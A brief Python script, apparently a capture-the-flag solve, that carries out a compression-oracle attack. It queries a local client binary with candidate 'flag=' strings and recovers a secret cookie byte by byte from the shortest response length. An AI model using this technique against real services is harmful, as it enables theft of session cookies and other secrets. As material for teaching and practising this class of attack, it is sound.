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from string import ascii_lowercase, ascii_uppercase, digits
from subprocess import check_output
alphabet = ascii_lowercase + ascii_uppercase + digits
env = {
"LD_PRELOAD": "..."
}
def request(url: str) -> int:
"""Executes the client binary with the following URL, and checks its output."""
out = check_output(["./client", "127.0.0.1", "8080", url], env=env).decode('utf-8')
return int(out.split(' ')[1])
if __name__ == '__main__':
cookie = ''
best_len = request('flag=' + cookie)
while True:
for c in alphabet:
current = request('flag=' + cookie + c)
if current <= best_len:
cookie += c
best_len = current
print(f'Found one byte in cookie: {cookie}')
break
else:
print(f'Found complete cookie: {cookie}')
break